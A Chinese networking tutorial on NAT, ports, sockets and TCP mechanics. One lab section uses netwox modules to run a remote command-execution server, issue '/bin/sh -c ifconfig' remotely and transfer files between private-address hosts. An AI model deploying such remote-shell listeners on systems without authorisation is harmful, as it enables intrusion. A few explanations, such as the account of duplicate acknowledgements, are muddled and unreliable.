1. 虚拟专用网 VPN

本地地址——仅在机构内部使用的 IP 地址,可以由本机构自行分配,而不需要向因特网的管理机构申请。

全球地址——全球唯一的IP地址,必须向因特网的管理机构申请。

本地专用地址:

  • 10.0.0.0 到 10.255.255.255
  • 172.16.0.0 到 172.31.255.255
  • 192.168.0.0 到 192.168.255.255

这些地址只能用于一个机构的内部通信,而不能用于和因特网上的主机通信。专用地址只能用作本地地址而不能用作全球地址。在因特网中的所有路由器对目的地址是专用地址的数据报一律不进行转发。

内联网 intranet 和外联网 extranet(都是基于 TCP/IP 协议)

由部门 A 和 B 的内部网络所构成的虚拟专用网 VPN 又称为内联网(intranet),表示部门 A 和 B 都是在同一个机构的内部。

一个机构和某些外部机构共同建立的虚拟专用网 VPN 又称为外联网(extranet)。

2. 网络地址转换NAT

需要在专用网连接到因特网的路由器上安装 NAT 软件。装有 NAT 软件的路由器叫做 NAT路由器,它至少有一个有效的外部全球地址 IPG。

所有使用本地地址的主机在和外界通信时都要在 NAT 路由器上将其本地地址转换成 IPG 才能和因特网连接。

内部主机 X 用本地地址 IPX 和因特网上主机 Y 通信所发送的数据报必须经过 NAT 路由器。

NAT 路由器将数据报的源地址 IPX 转换成全球地址 IPG,但目的地址 IPY 保持不变,然后发送到因特网。

NAT 路由器收到主机 Y 发回的数据报时,知道数据报中的源地址是 IPY 而目的地址是 IPG。

根据 NAT 转换表,NAT 路由器将目的地址 IPG 转换为 IPX,转发给最终的内部主机 X。

七、传输层

传输层(Transport Layer)是OSI协议的第四层协议,是唯一负责总体的数据传输和数据控制传输层的一层协议。传输层提供端到端的交换数据机制,它不仅对会话层、表示层和应用层这高三层提供可靠的传输服务,还对网络层提供可靠的目的地站点信息。

1、传输层概述

网际层提供了主机之间的逻辑通道,即通过寻址的方式,把数据包从一个主机发到另一个主机上。如果一个主机有多个进程同时在使用网络连接,那么数据包到达主机之后,如何区分它属于哪个进程呢?为了区分数据包所属的进程,就需要使用到传输层。

传输层提供了应用进程之间的端到端连接,其作用如下:

  • 为网络应用程序提供接口。
  • 为端到端连接提供流量控制、差错控制、服务质量等管理服务。
  • 提供多路复用、多路分解机制。

TCP/IP 的运输层有两个不同的协议:

  • 用户数据报协议 UDP (User Datagram Protocol)
  • 传输控制协议 TCP(Transmission Control Protocol)

两个对等运输实体在通信时传送的数据单位叫作运输协议数据单元TPDU (Transport Protocol Data Unit)。

TCP 传送的数据单位协议是 TCP 报文段(segment);UDP 传送的数据单位协议是 UDP 报文或用户数据报。 

运输层的协议:

UDP 在传送数据之前不需要先建立连接。对方的运输层在收到 UDP 报文后,不需要给出任何确认。虽然UDP 不提供可靠交付,但在某些情况下 UDP 是一种最有效的工作方式。

TCP 则提供面向连接的服务。TCP 不提供广播或多播服务。由于 TCP 要提供可靠的、面向连接的运输服务,因此不可避免地增加了许多的开销。这不仅使协议数据单元的首部增大很多,还要占用许多的处理机资源。

运输层的 UDP 用户数据报与网际层的IP数据报有很大区别。IP 数据报要经过互连网中许多路由器的存储转发,但 UDP 用户数据报是在运输层的端到端抽象的逻辑信道中传送的。

TCP报文段是在运输层抽象的端到端逻辑信道中传送,这种信道是可靠的全双工信道。但这样的信道却不知道究竟经过了哪些路由器,而这些路由器也根本不知道上面的运输层是否建立了 TCP 连接。

软件端口与硬件端口:

在协议栈层间的抽象的协议端口是软件端口。路由器或交换机上的端口是硬件端口。硬件端口是不同硬件设备进行交互的接口,而软件端口是应用层的各种协议进程与运输实体进行层间交互的一种地址。

三类端口:

熟知端口,数值一般为 0~1023。

登记端口号,数值为1024~49151,为没有熟知端口号的应用程序使用的。使用这个范围的端口号必须在 IANA登记,以防止重复。

客户端口号或短暂端口号,数值为49152~65535,留给客户进程选择暂时使用。当服务器进程收到客户进程的报文时,就知道了客户进程所使用的动态端口号。通信结束后,这个端口号可供其他客户进程以后使用。

2、面向连接和无连接

针对不同情况下的数据质量保证,传输层提供了两种数据传输协议类型,分别为面向连接与无连接。下面介绍这两种类型的概念和工作原理。

1. 面向连接

面向连接就是通信双方在通信时,要事先建立一条通信线路,然后进行通信。其过程分为三个阶段。第一阶段是建立连接。第二阶段是连接成功建立之后,进行数据传输。第三阶段是在数据传输完毕后,释放连接。

下面以李四与张三的对话来说明面向连接的工作原理,如图所示。

其中,李四向张三说的每一句话都要得到张三的回应,然后才会说下一句话,直到李四说完最后一句话。

2. 无连接

无连接是指通信双方不需要事先建立通信线路,而是把每个带有目的地址的包(报文分组)发送到线路上,由系统选定路线进行传输,不需要目标方进行回复。

下面以李四与张三的对话来说明无连接的工作原理,如图所示。

从图中可以看到,李四向张三说出了要说的话,而不需要得到张三的回复。

3. 端口和套接字

为了区分同一个主机上不同应用程序的数据包,传输层提供了端口和套接字概念。下面介绍端口和套接字的作用。

1)端口的作用

在数据链路层中,通过MAC地址来寻找局域网中的主机;在网际层中,通过IP地址来寻找网络中互连的主机或路由器。在传输层中,需要通过端口进行寻址,来识别同一计算机中同时通信的不同应用程序。

2)常用端口

端口号用来识别应用程序。

常用TCP端口号和对应的应用程序如表所示:

常见的UDP端口号及对应的应用程序如下表所示: 

3)套接字

应用层通过传输层进行数据通信时,TCP和UDP会遇到需要同时为多个应用程序进程提供并发服务的问题。多个TCP连接或多个应用程序进程可能需要通过同一个TCP协议端口传输数据。为了区别不同的应用程序进程和连接,许多计算机操作系统为应用程序与TCP/IP协议交互提供了称为套接字(Socket)的接口,区分不同应用程序进程间的网络通信和连接。

套接字是由主机的IP地址加上主机上的端口号组成的地址。例如,套接字地址101.102.103.104:21,表示指向IP地址为101.102.103.104的计算机的21端口。 

4)多路复用和多路分解

在网络上主机与主机之间的通信实质上是主机上运行的应用进程之间的通信。在进行通信时,往往同时运行多个应用程序。为了能够让一个计算机同时支持多个网络程序,并且同时保持与多台计算机进行连接,就需要使用多路复用和多路分解,其含义如下:

  • 多路复用:从源主机的不同套接字中收集数据块,并为每个数据块封装首部信息,从而生成报文段,然后将报文段传递到网络层中。
  • 多路分解:将传输层报文段中的数据交付到正确的套接字。

3、TCP协议

传输控制协议(Transmission Control Protocol,TCP)是一种面向连接的、可靠的、基于字节流的传输层通信协议。在TCP协议中,通过三次握手建立连接。通信结束后,还需要断开连接。如果在发送数据包时,没有正确被发送到目的地时,将会重新发送数据包。

1. TCP协议简介

TCP 是面向连接的运输层协议。每一条 TCP 连接只能有两个端点(endpoint),每一条 TCP 连接只能是点对点的(一对一),TCP 提供可靠交付的服务,TCP 提供全双工通信,面向字节流。  

TCP 连接是一条虚连接而不是一条真正的物理连接。TCP 对应用进程一次把多长的报文发送到TCP 的缓存中是不关心的。

TCP 根据对方给出的窗口值和当前网络拥塞的程度来决定一个报文段应包含多少个字节(UDP 发送的报文长度是应用进程给出的),TCP 可把太长的数据块划分短一些再传送,TCP 也可等待积累有足够多的字节后再构成报文段发送出去。

TCP 把连接作为最基本的抽象,每一条 TCP 连接有两个端点,TCP 连接的端点不是主机,不是主机的IP 地址,不是应用进程,也不是运输层的协议端口。

TCP 连接的端点叫做套接字(socket)或插口,端口号拼接到(contatenated with) IP 地址即构成了套接字。

套接字 socket = (IP地址: 端口号)
TCP 连接 ::= {socket1, socket2} = {(IP1: port1), (IP2: port2)} 

Socket的不同含义:

  • 应用编程接口 API 称为 socket API, 简称为 socket。
  • socket API 中使用的一个函数名也叫作 socket。
  • 调用 socket 函数的端点称为 socket。
  • 调用 socket 函数时其返回值称为 socket 描述符,可简称为 socket。
  • 在操作系统内核中连网协议的 Berkeley 实现,称为 socket 实现。

2. TCP协议作用

TCP协议使用的是面向连接的方法进行通信的,其作用如下:

  • 面向流的处理:TCP以流的方式处理数据。换句话说,TCP可以一个字节一个字节地接收数据,而不是一次接收一个预订格式的数据块。TCP把接收到的数据组成长度不等的段,再传递到网际层。
  • 重新排序:如果数据以错误的顺序到达目的地,TCP模块能够对数据重新排序,来恢复原始数据。
  • 流量控制:TCP能够确保数据传输不会超过目的计算机接收数据的能力。
  • 优先级与安全:为TCP连接设置可选的优先级和安全级别。
  • 适当的关闭:以确保所有的数据被发送或接收以后,再进行关闭连接。

3. 可靠通信的实现

在发送完一个分组后,必须暂时保留已发送的分组的副本。分组和确认分组都必须进行编号,超时计时器的重传时间应当比数据在分组传输的平均往返时间更长一些。

使用上述的确认和重传机制,我们就可以在不可靠的传输网络上实现可靠的通信。

这种可靠传输协议常称为自动重传请求ARQ (Automatic Repeat reQuest),ARQ 表明重传的请求是自动进行的,接收方不需要请求发送方重传某个出错的分组 。

积累确认:接收方一般采用累积确认的方式。即不必对收到的分组逐个发送确认,而是对按序到达的最后一个分组发送确认,这样就表示:到这个分组为止的所有分组都已正确收到了。累积确认有的优点是:容易实现,即使确认丢失也不必重传。缺点是:不能向发送方反映出接收方已经正确收到的所有分组的信息。

TCP可靠通信的具体实现:

TCP 连接的每一端都必须设有两个窗口,一个发送窗口和一个接收窗口,TCP 的可靠传输机制用字节的序号进行控制。

TCP 所有的确认都是基于序号而不是基于报文段,TCP 两端的四个窗口经常处于动态变化之中。

TCP连接的往返时间RTT 也不是固定不变的,需要使用特定的算法估算较为合理的重传时间。

4. TCP工作模式

TCP协议的数据包进行传输采用的是服务器端和客户端模式。发送TCP数据请求方为客户端,另一方则为服务器端。客户端要与服务器端进行通信,服务器端必须开启监听的端口,客户端才能通过端口连接到服务器,然后进行通信。

netwox工具提供了相关模块,用于建立TCP服务器端和TCP客户端。客户端连接服务器端后,可以进行数据通信。为了能够对服务器端进行远程操控,用户也可以建立远程TCP服务器端和远程TCP客户端,连接以后,可以在服务器端执行命令,进行上传和下载。

1)建立TCP服务器端和TCP客户端

为了能够完成客户端与服务器端之间的通信,可以使用netwox工具编号为89的模块建立TCP服务器端,然后使用编号为87的模块建立TCP客户端。

已知主机A的IP地址为192.168.59.131,主机B的IP地址为192.168.59.135。分别在这两个主机上建立TCP服务器端和客户端,并进行连接,监听指定端口上的通信信息。

具体步骤如下:

(1)在主机A上建立TCP服务器端,监听端口为80,执行命令如下:

root@daxueba:~# netwox 89 -P 80

运行后没有任何输出信息,可以输入要传输的数据。

(2)在主机B上建立TCP客户端,连接TCP服务器端,执行命令如下:

root@daxueba:~# netwox 87 -i 192.168.59.131 -p 80

运行后没有任何输出信息,可以输入要传输的数据。

(3)当在客户端输入信息后,将被发送到服务器端。例如,在客户端输入hi,如下:

root@daxueba:~# netwox 87 -i 192.168.59.131 -p 80
hi

(4)在服务器端将会收到到客户端的信息,如下:

root@daxueba:~# netwox 89 -P 80
hi

可以看出,输出信息为客户端输入的内容。

(5)在服务器端输入Hello,客户端也会监听到服务器端输入的内容,如下:

root@daxueba:~# netwox 87 -i 192.168.59.131 -p 80
hi
Hello

(6)通过捕获数据包,验证客户端和服务器端的通信过程。

捕获到的数据包如图所示:

其中,第10个数据包是TCP客户端向服务器端进行通信的数据包,其中[PSH,ACK],表示该包为数据通信数据包;第11个数据包为对应的响应包,表示允许通信;第20个数据包是TCP服务器端向客户端进行通信的数据包,第21个数据包为对应的响应包。

2)建立远程操作的TCP服务器端和TCP客户端

通过前面的讲解,用户可以建立TCP客户端,并连接到TCP服务器端,然后进行简单的通信。下面讲解如何通过TCP协议,远程在服务器端执行命令。

已知主机A的IP地址为192.168.59.131,主机B的IP地址为192.168.59.135,使用netwox编号为93和94的模块,分别在主机A和主机B建立TCP服务器端和客户端,然后通过客户端远程在服务器上执行命令。具体步骤如下:

(1)在主机A上建立TCP远程管理服务器,并设置监听的端口为7615,执行命令如下:

root@daxueba:~# netwox 93 -P 7615

执行命令后没有任何输出信息。

(2)查看远程管理服务器的配置信息,如下:

root@daxueba:~# ifconfig

输出信息如下:

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.59.131 netmask 255.255.255.0 broadcast 192.168.59.255
inet6 fd15:4ba5:5a2b:1008:20c:29ff:fe64:a54f prefixlen 64 scopeid 0x0<global>
inet6 fe80::20c:29ff:fe64:a54f prefixlen 64 scopeid 0x20<link>
inet6 fd15:4ba5:5a2b:1008:2c92:52e9:dd2:37a7 prefixlen 64 scopeid 0x0<global>
ether 00:0c:29:64:a5:4f txqueuelen 1000 (Ethernet)
RX packets 215123 bytes 259364632 (247.3 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 83482 bytes 5073376 (4.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

上述输出信息显示了服务器的配置信息。例如,IP地址为192.168.59.131,MAC地址为00:0c:29:64:a5:4f。

(3)在主机B上建立TCP客户端,并连接服务器端,然后执行命令ifconfig,如下:

root@daxueba:~# netwox 94 -i 192.168.59.131 -p 7615 -c "/bin/sh -c ifconfig"

输出信息如下;

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.59.131 netmask 255.255.255.0 broadcast 192.168.59.255
inet6 fd15:4ba5:5a2b:1008:20c:29ff:fe64:a54f prefixlen 64 scopeid
0x0<global>
inet6 fe80::20c:29ff:fe64:a54f prefixlen 64 scopeid 0x20<link>
inet6 fd15:4ba5:5a2b:1008:2c92:52e9:dd2:37a7 prefixlen 64 scopeid
0x0<global>
ether 00:0c:29:64:a5:4f txqueuelen 1000 (Ethernet)
RX packets 215293 bytes 259375823 (247.3 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 83491 bytes 5074036 (4.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

上述输出信息与步骤(2)的输出信息一样,说明成功执行了ifconfig命令。

3)建立TCP远程客户端(下载文件)

有时候客户端需要从服务器上下载文件。用户可以使用netwox工具编号为95的模块建立TCP客户端,下载服务器上的文件。

已知主机A的IP地址为192.168.59.131,主机B的IP地址为192.168.59.135;主机A上有一个文件user.txt。使用netwox工具编号为93和95的模块分别在主机A和主机B建立服务器端和客户端,然后通过客户端从服务器上下载user.txt文件。

具体步骤如下:

(1)在主机A上建立TCP远程管理服务器,并设置监听的端口为7615,执行命令如下:

root@daxueba:~# netwox 93 -P 7615

执行命令后没有任何输出信息。

(2)在服务器上,查看user.txt文件的信息,执行命令如下:

root@daxueba:~# cat user.txt

输出信息如下:

smz
admin
root
abc133
bob
tom123
administrator
wang001

(3)在主机B上建立TCP客户端,并连接TCP服务器,获取user.txt文件的信息,如下:

root@daxueba:~# netwox 95 -i 192.168.59.131 -p 7615 -f "user.txt"

输出信息如下:

smz
admin
root
abc133
bob
tom123
administrator
wang001

上述输出信息为服务器上file.txt文件的信息。

(4)如果用户想要保存文件内容,可以指定保存的位置。

例如,将信息保存到文件fileuser.txt中,执行命令如下:

root@daxueba:~# netwox 95 -i 192.168.59.131 -p 7615 -f "user.txt" -F fileuser.txt

4)建立TCP远程客户端(上传文件)

有时候,客户端需要将文件上传到服务器上。这时,可以使用netwox工具编号为96的模块来实现。

已知主机A的IP地址为192.168.59.131,主机B的IP地址为192.168.59.135;主机B上有一个文件password.txt。使用netwox工具编号为93和96的模块分别在主机A和主机B建立服务器和客户端,并将客户端的password.txt文件上传到服务器上,命名为pass.txt。

具体步骤如下:

(1)在主机A上建立TCP远程管理服务器,并设置监听的端口为7615,执行命令如下:

root@daxueba:~# netwox 93 -P 7615

执行命令后没有任何输出信息。

(2)在主机B上,查看password.txt文件的信息,如下:

root@daxueba:~# cat password.txt

输出信息如下:

www
mail
remote
blog
webmail
server
ns1

(3)在主机B上建立TCP远程管理客户端,并连接服务器,将password.txt文件上传到服务器上,文件名称为pass.txt,执行命令如下:

root@daxueba:~# netwox 96 -i 192.168.59.131 -p 7615 -f password.txt -F pass.txt

执行命令后没有任何输出信息,但是会成功将文件password.txt上传到服务器上,上传后的文件名称为pass.txt。

(4)在服务器上,查看文件pass.txt的信息,执行命令如下:

root@daxueba:~# cat pass.txt

输出信息如下:

www
mail
remote
blog
webmail
server
ns1

5. TCP报文段

TCP报文是TCP层传输的数据单元,也称为报文段。TCP报文中每个字段如图所示。

源端口和目的端口字段(Source Port & Destination Port):各占 2 字节。端口是运输层与应用层的服务接口。运输层的复用和分用功能都要通过端口才能实现。

序号字段(Sequence Number)::占 4 字节。TCP 连接中传送的数据流中的每一个字节都编上一个序号。序号字段的值则指的是本报文段所发送的数据的第一个字节的序号。在TCP连接中,所传送的字节流的每一个字节都会按顺序编号。当SYN标记不为1时,这是当前数据分段第一个字母的序列号;如果SYN的值是1时,这个字段的值就是初始序列值(ISN),用于对序列号进行同步。这时,第一个字节的序列号比这个字段的值大1,也就是ISN加1。

确认号字段(Acknowledgment Number,ACK Number):占 4 字节,是期望收到对方的下一个报文段的数据的第一个字节的序号。其值是接收计算机即将接收到的下一个序列号,也就是下一个接收到的字节的序列号加1。

数据偏移(即首部长度):占 4 位,它指出 TCP 报文段的数据起始处距离 TCP 报文段的起始处有多远。“数据偏移”的单位是 32 位字(以 4 字节为计算单位)。其实这里的“数据偏移”也是在确定TCP数据段头部分的长度,告诉接收端的应用程序,数据从何处开始。

保留字段(Reserved):占 6 位,保留为今后使用,但目前应置为 0。

紧急 URG:当 URG =1 时,表明紧急指针字段有效。它告诉系统此报文段中有紧急数据,应尽快传送(相当于高优先级的数据)。

标志位字段:

CWR(Congestion Window Reduce):拥塞窗口减少标志,用来表明它接收到了设置ECE标志的TCP包。并且,发送方收到消息之后,通过减小发送窗口的大小来降低发送速率。

ECE(ECN Echo):用来在TCP三次握手时表明一个TCP端是具备ECN功能的。在数据传输过程中,它也用来表明接收到的TCP包的IP头部的ECN被设置为11,即网络线路拥堵。

URG(Urgent):表示本报文段中发送的数据是否包含紧急数据。URG=1时表示有紧急数据。当URG=1时,后面的紧急指针字段才有效。

确认 ACK: 表示前面的确认号字段是否有效。ACK=1时表示有效。只有当ACK=1时,前面的确认号字段才有效。TCP规定,连接建立后,ACK必须为1。当 ACK = 0 时,确认号无效。

推送 PSH (PuSH) 告诉对方收到该报文段后是否立即把数据推送给上层。接收 TCP 收到 PSH = 1 的报文段,就尽快地交付接收应用进程,而不再等到整个缓存都填满了后再向上交付。

复位 RST (ReSeT) : 表示是否重置连接。当 RST = 1 时,表明 TCP 连接中出现严重差错(如由于主机崩溃或其他原因),必须释放连接,然后再重新建立运输连接。

同步 SYN: 在建立连接时使用,用来同步序号。当SYN=1,ACK=0时,表示这是一个请求建立连接的报文段;当SYN=1,ACK=1时,表示对方同意建立连接。SYN=1时,说明这是一个请求建立连接或同意建立连接的报文。只有在前两次握手中SYN才为1。

终止 FIN (FINis) :标记数据是否发送完毕,用来释放一个连接。FIN = 1 表明此报文段的发送端的数据已发送完毕,并要求释放运输连接。

窗口大小字段(Window Size)占 2 字节 16 位,用来让对方设置发送窗口的依据,单位为字节。它表示从Ack Number开始还可以接收多少字节的数据量,也表示当前接收端的接收窗口还有多少剩余空间。该字段可以用于TCP的流量控制。

TCP检验和 (TCP Checksum): 占 2 字节 16 位。它用于确认传输的数据是否有损坏。发送端基于数据内容校验生成一个数值,接收端根据接收的数据校验生成一个值。两个值必须相同,才能证明数据是有效的。如果两个值不同,则丢掉这个数据包。Checksum是根据伪头+TCP头+TCP数据三部分进行计算的,包括首部和数据这两部分。在计算检验和时,要在 TCP 报文段的前面加上 12 字节的伪首部。

紧急指针字段(Urgent Pointer)   :仅当前面的URG控制位为1时才有意义。它指出本数据段中为紧急数据的字节数,占16位。(紧急数据放在本报文段数据的最前面)。当所有紧急数据处理完后,TCP就会告诉应用程序恢复到正常操作。即使当前窗口大小为0,也是可以发送紧急数据的,因为紧急数据无须缓存。

选项字段(Option) :长度可变,但长度必须是32bits的整数倍。TCP 最初只规定了一种选项,即最大报文段长度 MSS。MSS 告诉对方 TCP:“我的缓存所能接收的报文段的数据字段的最大长度是 MSS 个字节。”

6. 数据分片

数据从主机传送到另一个主机往往要经过路由器、网关等设备。这些设备都要对经过的数据进行处理。由于这些设备处理数据有一定的限制,不能处理超过额定字节的数据,所以发送的时候需要确定发送数据包的最大字节数。这个最大字节数被称为最大消息长度(Maximum Segment Size,MSS)。当要发送的数据超过该值,就需要将数据分为多个包,依次发送。该操作被称为数据分片。

MSS是TCP数据包每次能够传输的最大数据量。通常,最大值为1460字节。如果发送的数据包大小大于MSS值,数据包将会被分片传输。

分片原理如图所示:

其中,第1次和第2次握手包的TCP首部包含MSS选项,互相通知对方网络接口能够适应的MSS的大小,然后双方会使用较小的MSS值进行传输。

7. 滑动窗口机制

在进行数据传输时,如果传输的数据比较大,就需要拆分为多个数据包进行发送。

客户端与服务器之间的通信是一个数据传输过程。通信的消息将以数据包形式进行传输。为了更有效地进行通信,TCP协议在数据进行数据传输时,使用滑动窗口机制来同时发送多个数据包。

发送端每发送一个数据包,都需要得到接收端的确认应答以后,才可以发送下一个数据包。这样一来,就会在等待确认应答包环节浪费时间。为了避免这种情况,TCP引入了窗口概念。

 

发送缓存与接收缓存的作用:

发送缓存用来暂时存放:发送应用程序传送给发送方 TCP 准备发送的数据, TCP 已发送出但尚未收到确认的数据。

接收缓存用来暂时存放: 按序到达的、但尚未被接收应用程序读取的数据,不按序到达的数据。

注意:

A 的发送窗口并不总是和 B 的接收窗口一样大(因为有一定的时间滞后),TCP 标准没有规定对不按序到达的数据应如何处理。通常是先临时存放在接收窗口中,等到字节流中所缺少的字节收到后,再按序交付上层的应用进程。

TCP 要求接收方必须有累积确认的功能,这样可以减小传输开销。

窗口大小指的是不需要等待确认应答包而可以继续发送数据包的最大值。

例如,窗口大小为3,同时发送3个数据包,数据包的传输如图所示。

从图中可以看到,发送端发送第一个数据包(1-1000),没有等待对应的确认应答包,就继续发送第二个数据包(1001-2000)和第三个包(2001-3000)。当收到第3个数据包的确认应答包时,会连续发送3个数据包(3001-4000,4001-5000,5001-6000)。当收到第6个数据包的确认应答包时,又会发送3个数据包(6001-7000,7001-8000,8001-9000)。

以这种方式发送,就可以省去多个数据包(第1、2、4、5、7、8个)的确认应答包时间,从而避免了网络的吞吐量的降低。

窗口大小指的是可以发送数据包的最大数量。在实际使用中,它可以分为两部分。第一部分表示数据包已经发送,但未得到确认应答包;第二部分表示允许发送,但未发送的数据包。在进行数据包发送时,当发送了最大数量的数据包(窗口大小数据包),有时不会同时收到这些数据包的确认应答包,而是收到部分确认应答包。

那么,此时窗口就通过滑动的方式,向后移动,确保下一次发送仍然可以发送窗口大小的数据包。这样的发送方式被称为滑动窗口机制。设置窗口大小为3,滑动窗口机制原理如图所示。

每1000个字节表示一个数据包。发送端同时发送了3个数据包(2001-5000),接收端响应的确认应答包为“下一个发送4001”,表示接收端成功响应了前两个数据包,没有响应最后一个数据包。此时,最后一个数据包要保留在窗口中。由于窗口大小为3,发送端除了最后一个包以外,还可以继续发送下两个数据包(5001-6000和6001-7000),窗口滑动到7001处。 

8. 数据重发

当数据包丢失时,TCP协议利用数据重发功能重新发送数据包。

数据丢失一般分为两种:

第一种,如果未使用滑动窗口机制,发送的数据包没有收到确认应答包,那么数据都会被重发;如果使用了滑动窗口机制,即使确认应答包丢失,也不会导致数据包重发。

第二种,发送的数据包丢失,将导致数据包重发。下面详细介绍使用滑动窗口机制的两种情况。

1)确认应答包丢失

这种情况指的是前面发送的数据包没有收到对应的确认应答。当收到后面数据包的确认应答包,表示前面的数据包已经成功被接收端接收了,发送端不需要重新发送前面的数据包了。

如图所示:

下面分为5部分对上图进行讲解。

  • 发送端第1次发送数据包:这里设置的窗口大小为3,可以最大发送3个数据包。发送端同时发送3个数据包1-1000、1001-2000和2001-3000。
  • 接收端返回确认应答包:接收端接收到这些数据,并给出确认应答包。数据包1-1000和数据包2001-3000的确认应答包没有丢失,但是数据包1001-2000的确认应答包丢失了。
  • 发送端第2次发送数据包:发送端收到接收端发来的确认应答包,虽然没有收到数据包1001-2000的确认应答包,但是收到了数据包2001-3000的确认应答包。判断第一次发送的3个数据包都成功到达了接收端。再次发送3个数据包3001-4000、4001-5000和5001-6000。
  • 接收端返回确认应答包:接收端接收到这些数据,并给出确认应答包。数据包3001-4000和数据包4001-5000的确认应答包丢失了,但是数据包5001-6000没有丢失。
  • 发送端第3次发送数据包:发送端收到接收端发来的确认应答包,查看到数据包5001-6000收到了确认应答包。判断第2次发送的3个数据包都成功到达了接收端。再次发送3个数据包6001-7000、7001-8000和8001-9000。 

2)发送数据包丢失

这种情况指的是发送端发送的部分数据包没有达到接收端。那么,如果在接收端收到的数据包,不是本应该要接收的数据包,那么就会给发送端返回消息,告诉发送端自己应该接收的数据包。如果发送端连续收到3次这样的数据包,就认为该数据包成功发送到接收端,这时就开始重发该数据包。

如图所示:

下面分为7部分对图6.20进行讲解:

  • 发送端发送数据包:这里窗口大小为4,发送端发送4个数据包,分别为1-1000、1001-2000、2001-3000和3001-4000。
  • 接收端返回确认应答包:接收端接收到这些数据,并给出确认应答包。接收端收到了数据包1-1000,返回了确认应答包;收到了数据包1001-2000,返回了确认应答包;但是数据包2001-3000,在发送过程中丢失了,没有成功到达接收端。数据包3001-4000没有丢失,成功到达了接收端,但是该数据包不是接收端应该接收的数据包,数据包2001-3000才是真正应该接收的数据包。因此收到数据包3001-4000以后,接收端第一次返回下一个应该发送2001的数据包的确认应答包。
  • 发送端发送数据包:发送端仍然继续向接收端发送4个数据包,分别为4001-5000、5001-6000、6001-7000和7001-8000。
  • 接收端返回确认应答包:接收端接收到这些数据,并给出确认应答包。当接收端收到数据包4001-5000时,发现不是自己应该接收的数据包2001-3000,第二次返回下一个应该发送2001的数据包的确认应答包。当接收端收到数据包5001-6000时,仍然发现不是自己应该接收的数据包2001-3000,第三次返回下一个应该发送2001的数据包的确认应答包。以此类推直到接收完所有数据包,接收端都返回下一个应该发送2001的数据包的确认应答包。
  • 发送端重发数据包:发送端连续3次收到接收端发来的下一个应该发送2001的数据包的确认应答包,认为数据包2001-3000丢失了,就进行重发该数据包。
  • 接收端收到重发数据包:接收端收到重发数据包以后,查看这次是自己应该接收的数据包2001-3000,并返回确认应答包,告诉发送端,下一个该接收8001的数据包了。
  • 发送端发送数据包:发送端收到确认应答包后,继续发送窗口大小为4的数据包,分别为8001-9000、9001-10000、10001-11000和11001-12000。

9. TCP流量控制

在使用滑动窗口机制进行数据传输时,发送方根据实际情况发送数据包,接收端接收数据包。但是,接收端处理数据包的能力是不同的,因接收端接收数据包的能力不同,TCP流控制会根据接收端的能力发送适当数量的数据包。  

  • 如果窗口过小,发送端发送少量的数据包,接收端很快就处理了,并且还能处理更多的数据包。这样,当传输比较大的数据时需要不停地等待发送方,造成很大的延迟。
  • 如果窗口过大,发送端发送大量的数据包,而接收端处理不了这么多的数据包,这样,就会堵塞链路。如果丢弃这些本应该接收的数据包,又会触发重发机制。
  • 为了避免这种现象的发生,TCP提供了流控制。所谓的流控制就是使用不同的窗口大小发送数据包。发送端第一次以窗口大小(该窗口大小是根据链路带宽的大小来决定的)发送数据包,接收端接收这些数据包,并返回确认应答包,告诉发送端自己下次希望收到的数据包是多少(新的窗口大小),发送端收到确认应答包以后,将以该窗口大小进行发送数据包。

TCP流控制过程如图所示:

利用滑动窗口实现流量控制一般说来,我们总是希望数据传输得更快一些。但如果发送方把数据发送得过快,接收方就可能来不及接收,这就会造成数据的丢失。

流量控制(flow control)就是让发送方的发送速率不要太快,既要让接收方来得及接收,也不要使网络发生拥塞。利用滑动窗口机制可以很方便地在 TCP 连接上实现流量控制。

我们将上图以发送端发送数据包进行分隔,将其分为3部分。

1)第一部分

发送端根据当前链路带宽大小决定发送数据包的窗口大小。这里,窗口大小为3,表示可以发送3个数据包。因此发送端发送了3个数据包,分别为1-1000、1001-2000和2001-3000。接收端接收这些数据包,但是只能处理2个数据包,第3个数据包2001-3000没有被处理。因此返回确认应答包,设置窗口大小为2,告诉发送端自己现在只能处理2个数据包,下一次请发送2个数据包。

2)第二部分

发送端接收到确认应答包,查看到接收端返回窗口大小为2,知道接收端只处理了2个数据包。发过去的第3个数据包2001-3000没有被处理。这说明此时接收端只能处理2个数据包,第3个数据包还需要重新发送。因此发送端发送2个数据包2001-3000和3001-4000。接收端收到这两个数据包并进行了处理。此时,还是只能处理2个窗口,继续向发送端发送确认应答包,设置窗口为2,告诉发送端,下一个应该接收4001的数据包。

3)第三部分

发送端接收到确认应答包,查看到接收端返回窗口大小为2。说明接收端接收了上次发送的2个数据包。此时仍然可以处理2个数据包,继续发送数据包4001-5000和5001-6000。

如果在接收端返回的确认应答包中,窗口设置为0,则表示现在不能接收任何数据。这时,发送端将不会再发送数据包,只有等待接收端发送窗口更新通知才可以继续发送数据包。如果这个更新通知在传输中丢失了,那么就可能导致无法继续通信。为了避免这样的情况发生,发送端会时不时地发送窗口探测包,该包仅有1个字节,用来获取最新的窗口大小的信息。

原理如图所示:

下面我们介绍获取窗口更新数据包的原理。

(1)发送端发送数据。发送端以窗口大小为2,发送了2个数据包,分别为4001-5000和5001-6000。接收端接收到这些数据以后,缓冲区满了,无法再处理数据,于是向发送端返回确认应答包,告诉它下一个接收6001的数据,但是现在处理不了数据,先暂停发送数据,设置窗口大小为0。

(2)发送端暂停发送数据。发送端收到确认应答包,查看到下一次发送的是6001的数据,但窗口大小为0,得知接收端此时无法处理数据。此时,不进行发送数据,进入等待状态。

(3)接收端发送窗口大小更新包。当接收端处理完发送端之前发来的数据包以后,将会给发送端发送一个窗口大小更新包,告诉它,此时可以发送的数据包的数量。这里设置窗口大小为3,表示此时可以处理3个数据包,但是该数据包丢失了,没有发送到发送端。

(4)发送端发送窗口探测包。由于窗口大小更新包丢失,发送端的等待时间超过了重发超时时间。此时,发送端向接收端发送一个窗口探测包,大小为1字节,这里是6001。

(5)接收端再次发送窗口大小更新包。接收端收到发送端发来的探测包,再次发送窗口大小更新包,窗口大小为3。

(6)发送端发送数据。发送端接收到窗口大小更新包,查看到应该发的是6001的数据包,窗口大小为3,可以发送3个数据包。因此发送了数据包,分别为6001-7000、7001-8000和8001-9000。

